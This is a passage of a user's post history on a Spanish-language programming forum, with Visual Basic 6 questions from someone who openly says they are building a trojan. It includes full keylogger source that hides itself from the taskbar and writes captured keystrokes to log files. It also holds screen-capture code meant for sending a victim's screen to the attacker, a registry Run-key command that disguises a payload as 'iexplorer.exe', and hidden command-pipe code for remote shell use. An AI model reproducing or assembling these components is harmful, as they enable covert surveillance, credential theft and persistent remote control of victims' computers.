|
Mostrar Temas
|
Páginas: 1 [2]
|
11
|
Programación / Programación Visual Basic / Capturar Pantalla[Code+Pregunta xD]
|
en: 5 Mayo 2007, 03:07 am
|
bueno.. este code tiene 2 intenciones, ayudar y que me ayuden xD, ya vendran posts solamente para ayudar.. pero mientras sepa poco no creo que pueda ser asi =S aca va la ayuda, es el code para capturar ventanas activas, y pantalla completa, perdon si ya estaba posteado, pero no lo encontre en el foro Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Sub Command1_Click() 'Captura la ventana activa keybd_event 44, 0, 0&, 0& End Sub
Private Sub Command2_Click() 'Captura toda la pantalla keybd_event 44, 1, 0&, 0& End Sub y aca va la pregunta: teniendo este code, a alguien se le ocurre alguna forma, de enviar la imagen capturada al cliente (teniendo en cuenta que estoi asiendo un troyano), y que se muestre en el form???, una idea de Vivachapas, era capturar pantalla, guardar la imagen en el disco de la victima, enviarla al cliente, i borrarla, pero como puedo hacer que se muestre en un form??? con un imagebox??? se acepta orientacion y ayuda! Gracias de Antemano!
|
|
|
13
|
Programación / Programación Visual Basic / problema con keylogger en vb6
|
en: 28 Abril 2007, 16:44 pm
|
hace un tiempo intente hacer un keylogger.. incluso postie para que me ayudaran en como generar los logs.. el problema es que cuando genera el log, ( lo genera con nombre log1, i el siguiente con log2, etc) cuando uno cierra el keylogger y lo inicia de nuevo, empieza a remplazar los logs (se preguntaran como lo cierra, x ejemplo al apagar el pc) tiene un funcionamiento simple, tiene un label, que kada 1 seg le suma 1, i al llegar a 1800, genera el log i limpia el text1, esa parte funciona bien aka va el code Dim KTime As Integer Dim n As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private LastWindow As String Private LastHandle As Long Private dKey(255) As Long Private Const VK_SHIFT = &H10 Private Const VK_CTRL = &H11 Private Const VK_ALT = &H12 Private Const VK_CAPITAL = &H14 Private ChangeChr(255) As String Private AltDown As Boolean
Private Sub Form_Load() KTime = 0 Timer2.Interval = 1000 Form1.Visible = True App.TaskVisible = False n = 1 ChangeChr(33) = "[PageUp]" ChangeChr(34) = "[PageDown]" ChangeChr(35) = "[End]" ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]" ChangeChr(46) = "[Delete]"
ChangeChr(48) = ")" ChangeChr(49) = "!" ChangeChr(50) = "@" ChangeChr(51) = "#" ChangeChr(52) = "$" ChangeChr(53) = "%" ChangeChr(54) = "^" ChangeChr(55) = "&" ChangeChr(56) = "*" ChangeChr(57) = "("
ChangeChr(186) = ";" ChangeChr(187) = "=" ChangeChr(188) = "," ChangeChr(189) = "-" ChangeChr(190) = "." ChangeChr(191) = "/"
ChangeChr(219) = "[" ChangeChr(220) = "\" ChangeChr(221) = "]" ChangeChr(222) = "'"
ChangeChr(86) = ":" ChangeChr(87) = "+" ChangeChr(88) = "<" ChangeChr(89) = "_" ChangeChr(90) = ">" ChangeChr(91) = "?"
ChangeChr(119) = "{" ChangeChr(120) = "|" ChangeChr(121) = "}" ChangeChr(122) = """"
ChangeChr(96) = "0" ChangeChr(97) = "1" ChangeChr(98) = "2" ChangeChr(99) = "3" ChangeChr(100) = "4" ChangeChr(101) = "5" ChangeChr(102) = "6" ChangeChr(103) = "7" ChangeChr(104) = "8" ChangeChr(105) = "9" ChangeChr(106) = "*" ChangeChr(107) = "+" ChangeChr(109) = "-" ChangeChr(110) = "." ChangeChr(111) = "/"
ChangeChr(192) = "`" ChangeChr(92) = "~" End Sub
Function TypeWindow() Dim Handle As Long Dim textlen As Long Dim WindowText As String
Handle = GetForegroundWindow LastHandle = Handle textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen) svar = GetWindowText(Handle, WindowText, textlen) WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf LastWindow = WindowText End If End Function
Private Sub Timer1_Timer()
'when alt is up If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then AltDown = False Text1 = Text1 & "[ALTUP]" End If
'a-z A-Z For i = Asc("A") To Asc("Z") If GetAsyncKeyState(i) = -32767 Then TypeWindow If GetAsyncKeyState(VK_SHIFT) < 0 Then If GetKeyState(VK_CAPITAL) > 0 Then Text1 = Text1 & LCase(Chr(i)) Exit Sub Else Text1 = Text1 & UCase(Chr(i)) Exit Sub End If Else If GetKeyState(VK_CAPITAL) > 0 Then Text1 = Text1 & UCase(Chr(i)) Exit Sub Else Text1 = Text1 & LCase(Chr(i)) Exit Sub End If End If End If Next
'1234567890)(*&^%$#@! For i = 48 To 57 If GetAsyncKeyState(i) = -32767 Then TypeWindow If GetAsyncKeyState(VK_SHIFT) < 0 Then Text1 = Text1 & ChangeChr(i) Exit Sub Else Text1 = Text1 & Chr(i) Exit Sub End If End If Next
';=,-./ For i = 186 To 192 If GetAsyncKeyState(i) = -32767 Then TypeWindow If GetAsyncKeyState(VK_SHIFT) < 0 Then Text1 = Text1 & ChangeChr(i - 100) Exit Sub Else Text1 = Text1 & ChangeChr(i) Exit Sub End If End If Next
'[\]' For i = 219 To 222 If GetAsyncKeyState(i) = -32767 Then TypeWindow If GetAsyncKeyState(VK_SHIFT) < 0 Then Text1 = Text1 & ChangeChr(i - 100) Exit Sub Else Text1 = Text1 & ChangeChr(i) Exit Sub End If End If Next
'num pad For i = 96 To 111 If GetAsyncKeyState(i) = -32767 Then TypeWindow If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then AltDown = True Text1 = Text1 & "[ALTDOWN]" Else If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then AltDown = False Text1 = Text1 & "[ALTUP]" End If End If Text1 = Text1 & ChangeChr(i) Exit Sub End If Next
'for space If GetAsyncKeyState(32) = -32767 Then TypeWindow Text1 = Text1 & " " End If
'for enter If GetAsyncKeyState(13) = -32767 Then TypeWindow Text1 = Text1 & "[Enter]" End If 'for backspace If GetAsyncKeyState(8) = -32767 Then TypeWindow Text1 = Text1 & "[BackSpace]" End If 'for left arrow If GetAsyncKeyState(37) = -32767 Then TypeWindow Text1 = Text1 & "[LeftArrow]" End If 'for up arrow If GetAsyncKeyState(38) = -32767 Then TypeWindow Text1 = Text1 & "[UpArrow]" End If 'for right arrow If GetAsyncKeyState(39) = -32767 Then TypeWindow Text1 = Text1 & "[RightArrow]" End If 'for down arrow If GetAsyncKeyState(40) = -32767 Then TypeWindow Text1 = Text1 & "[DownArrow]" End If
'tab If GetAsyncKeyState(9) = -32767 Then TypeWindow Text1 = Text1 & "[Tab]" End If 'escape If GetAsyncKeyState(27) = -32767 Then TypeWindow Text1 = Text1 & "[Escape]" End If
'insert, delete For i = 45 To 46 If GetAsyncKeyState(i) = -32767 Then TypeWindow Text1 = Text1 & ChangeChr(i) End If Next
'page up, page down, end, home For i = 33 To 36 If GetAsyncKeyState(i) = -32767 Then TypeWindow Text1 = Text1 & ChangeChr(i) End If Next 'left click If GetAsyncKeyState(1) = -32767 Then If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window Text1 = Text1 & "[LeftClick]" End If End If
End Sub
Private Sub Timer2_Timer() KTime = KTime + 1 If KTime = 1800 Then Dim fnum As Integer 't = t + 1 ' If t < 30 Then Exit Sub On Error GoTo Ninguno fnum = FreeFile Open "C:\log" & n & ".txt" For Output As fnum Print #fnum, Text1.Text Close fnum n = n + 1 ' t = 0 Text1.Text = "" 'vacia el textbox Ninguno: KTime = 0 End If Label1.Caption = KTime End Sub
alguien me podria ayudar??? GraCiaS de AnteManO!
|
|
|
14
|
Programación / Programación Visual Basic / cambiar icono a mi programa en vb
|
en: 28 Abril 2007, 01:02 am
|
wenasssS como hago para cambiarle el icono a un programa que hice en vb??? (no con el reshack ni nada parecido) el problema es cuando intento poner un icono, en las propiedades del form1, donde sale ICON, lo pongo y sale esto El valor de la propiedad no es válido solo me sale ese error con el icono que hice.. ( es .ico, 32x32, i lo ise en paint, poniendo guardar como.. bs.ico) si pongo otro icono si me funciona.. pero con el que hice no alguien me podria ayudar?? GraCiaS de AnteManO
|
|
|
15
|
Programación / Programación Visual Basic / Ejecutar codigo en limpio shell
|
en: 24 Abril 2007, 01:52 am
|
miren: mi duda es como ejecutar un codigo en limpio, por ejemplo abrir el archivo que se encuentra en %homedrive%%homepath%\update\iexplorer.exe, el problema es que si pongo esto: shell ("%homedrive%%homepath%\update\iexplorer.exe") no me encuentra el archivo.. pero si abro la cmd a mano i pongo el mismo code si abre.. tambien necesito ejecutar este code: reg ADD HKCU\software\microsoft\windows\currentversion\run /v Internet Explorer /d %homedrive%%homepath%\update\iexplorer.exe /f espero que me puedan ayudar perdon si no busce lo suficiente, pero no sabría como ponerlo en google.. ya probe con "ejecutar codigo en limpio en la shell vb6" o algo parecido pero no encontre lo que necesitaba
|
|
|
16
|
Programación / Programación Visual Basic / [Resuelto]CMD Pipe en vb6
|
en: 23 Abril 2007, 04:31 am
|
weno ase unos dias estaba como loco pidiendo el code para cmd pipe en vb6 aka se los dejo todos los creditos a Sancho.Mazorka(por el code)i a E0N(por la solucion a los comandos dir, cd, etc.)PD: Para ejecutar comandos como dir, cd, etc, antepongan un cmd /k "Ej: cmd /k dir C:\" 'Redirects output from console program to textbox. 'Requires two textboxes and one command button. 'Set MultiLine property of Text2 to true. ' 'Original bcx version of this program was made by ' dl <dl@tks.cjb.net> 'VB port was made by Jernej Simoncic <jernej@isg.si> 'Visit Jernejs site at http://www2.arnes.si/~sopjsimo/ ' 'Note: don't run plain DOS programs with this example 'under Windows 95,98 and ME, as the program freezes when 'execution of program is finnished.
Option Explicit Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO) Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type
Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type
Private Type STARTUPINFO cb As Long lpReserved As Long lpDesktop As Long lpTitle As Long dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Byte hStdInput As Long hStdOutput As Long hStdError As Long End Type
Private Type OVERLAPPED ternal As Long ternalHigh As Long offset As Long OffsetHigh As Long hEvent As Long End Type
Private Const STARTF_USESHOWWINDOW = &H1 Private Const STARTF_USESTDHANDLES = &H100 Private Const SW_HIDE = 0 Private Const EM_SETSEL = &HB1 Private Const EM_REPLACESEL = &HC2
Private Sub Command1_Click() Command1.Enabled = False Redirect Text1.Text, Text2 Command1.Enabled = True End Sub Private Sub Form_Load() Text1.Text = "ping" End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) If Command1.Enabled = False Then Cancel = True End Sub
Sub Redirect(cmdLine As String, objTarget As Object) Dim i%, t$ Dim pa As SECURITY_ATTRIBUTES Dim pra As SECURITY_ATTRIBUTES Dim tra As SECURITY_ATTRIBUTES Dim pi As PROCESS_INFORMATION Dim sui As STARTUPINFO Dim hRead As Long Dim hWrite As Long Dim bRead As Long Dim lpBuffer(1024) As Byte pa.nLength = Len(pa) pa.lpSecurityDescriptor = 0 pa.bInheritHandle = True pra.nLength = Len(pra) tra.nLength = Len(tra)
If CreatePipe(hRead, hWrite, pa, 0) <> 0 Then sui.cb = Len(sui) GetStartupInfo sui sui.hStdOutput = hWrite sui.hStdError = hWrite sui.dwFlags = STARTF_USESHOWWINDOW Or STARTF_USESTDHANDLES sui.wShowWindow = SW_HIDE If CreateProcess(vbNullString, cmdLine, pra, tra, True, 0, Null, vbNullString, sui, pi) <> 0 Then SetWindowText objTarget.hwnd, "" Do Erase lpBuffer() If ReadFile(hRead, lpBuffer(0), 1023, bRead, ByVal 0&) Then SendMessage objTarget.hwnd, EM_SETSEL, -1, 0 SendMessage objTarget.hwnd, EM_REPLACESEL, False, lpBuffer(0) DoEvents Else CloseHandle pi.hThread CloseHandle pi.hProcess Exit Do End If CloseHandle hWrite Loop CloseHandle hRead End If End If End Sub
|
|
|
17
|
Programación / Programación Visual Basic / AyUdA!!!!plx! problema con cmd pipe en vb6 tengo el code y todo pero...
|
en: 21 Abril 2007, 15:58 pm
|
hace un tiempo postie en este foro para que alguien me ayudara a hacer cmd pipe.. y Sancho.Mazorka me dio este code 'Redirects output from console program to textbox. 'Requires two textboxes and one command button. 'Set MultiLine property of Text2 to true. ' 'Original bcx version of this program was made by ' dl <dl@tks.cjb.net> 'VB port was made by Jernej Simoncic <jernej@isg.si> 'Visit Jernejs site at http://www2.arnes.si/~sopjsimo/ ' 'Note: don't run plain DOS programs with this example 'under Windows 95,98 and ME, as the program freezes when 'execution of program is finnished.
Option Explicit Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO) Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type
Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type
Private Type STARTUPINFO cb As Long lpReserved As Long lpDesktop As Long lpTitle As Long dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Byte hStdInput As Long hStdOutput As Long hStdError As Long End Type
Private Type OVERLAPPED ternal As Long ternalHigh As Long offset As Long OffsetHigh As Long hEvent As Long End Type
Private Const STARTF_USESHOWWINDOW = &H1 Private Const STARTF_USESTDHANDLES = &H100 Private Const SW_HIDE = 0 Private Const EM_SETSEL = &HB1 Private Const EM_REPLACESEL = &HC2
Private Sub Command1_Click() Command1.Enabled = False Redirect Text1.Text, Text2 Command1.Enabled = True End Sub Private Sub Form_Load() Text1.Text = "ping" End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) If Command1.Enabled = False Then Cancel = True End Sub
Sub Redirect(cmdLine As String, objTarget As Object) Dim i%, t$ Dim pa As SECURITY_ATTRIBUTES Dim pra As SECURITY_ATTRIBUTES Dim tra As SECURITY_ATTRIBUTES Dim pi As PROCESS_INFORMATION Dim sui As STARTUPINFO Dim hRead As Long Dim hWrite As Long Dim bRead As Long Dim lpBuffer(1024) As Byte pa.nLength = Len(pa) pa.lpSecurityDescriptor = 0 pa.bInheritHandle = True pra.nLength = Len(pra) tra.nLength = Len(tra)
If CreatePipe(hRead, hWrite, pa, 0) <> 0 Then sui.cb = Len(sui) GetStartupInfo sui sui.hStdOutput = hWrite sui.hStdError = hWrite sui.dwFlags = STARTF_USESHOWWINDOW Or STARTF_USESTDHANDLES sui.wShowWindow = SW_HIDE If CreateProcess(vbNullString, cmdLine, pra, tra, True, 0, Null, vbNullString, sui, pi) <> 0 Then SetWindowText objTarget.hwnd, "" Do Erase lpBuffer() If ReadFile(hRead, lpBuffer(0), 1023, bRead, ByVal 0&) Then SendMessage objTarget.hwnd, EM_SETSEL, -1, 0 SendMessage objTarget.hwnd, EM_REPLACESEL, False, lpBuffer(0) DoEvents Else CloseHandle pi.hThread CloseHandle pi.hProcess Exit Do End If CloseHandle hWrite Loop CloseHandle hRead End If End If End Sub
funciona pero el problema es que solo acepta los comandos como ping, netstat, y solo algunos mas... los comandos mas utiles como dir no funcionan ayer con un amigo que sabe sobre esto de la cmd y sus comandos me dijo que probara poniendo command.com pero tiraba error! alguien me podria ayudar o orientar??? gracias de antemano!
|
|
|
18
|
Programación / Programación Visual Basic / Guardar contenido de un textbox en un archivo .txt con nombre aletorio
|
en: 15 Abril 2007, 19:17 pm
|
wenasSS estoi creando un keylogger en vb6 lo que necesito es saber como hacer que el contenido de un textbox se guarde en un archivo .txt, pero siempre con nombre diferente, por ejemplo el primer log que se llame log1, el segundo log2, i asi sucesivamente lo que se me ocurriria a mi seria pone un timer con intervalo 30.000 (quiero que se guarde cada 30min) despues el code para generar el .txt i despues que se vacie alguien me podria ayudar???? gracias de antemano
|
|
|
19
|
Programación / Programación Visual Basic / [Pedido] cmd pipe en vb6
|
en: 7 Abril 2007, 19:06 pm
|
wenas a todos! bueno.. yo llevo algun tiempo en esto de crear troyanos en vb6.. no tengo mucha experiencia pero algo se hacer bueno mi peticion seria si alguien podria orientarme en como agregarle esto de la cmd pipe (poder enviar comandos a la cmd, que devuelva el resultado y poder "interactuar" con ella) a mi troyano en vb6... si pueden poner un tutorial o orientarme me ayudarian mucho gracias de antemano
|
|
|
|
|
|
|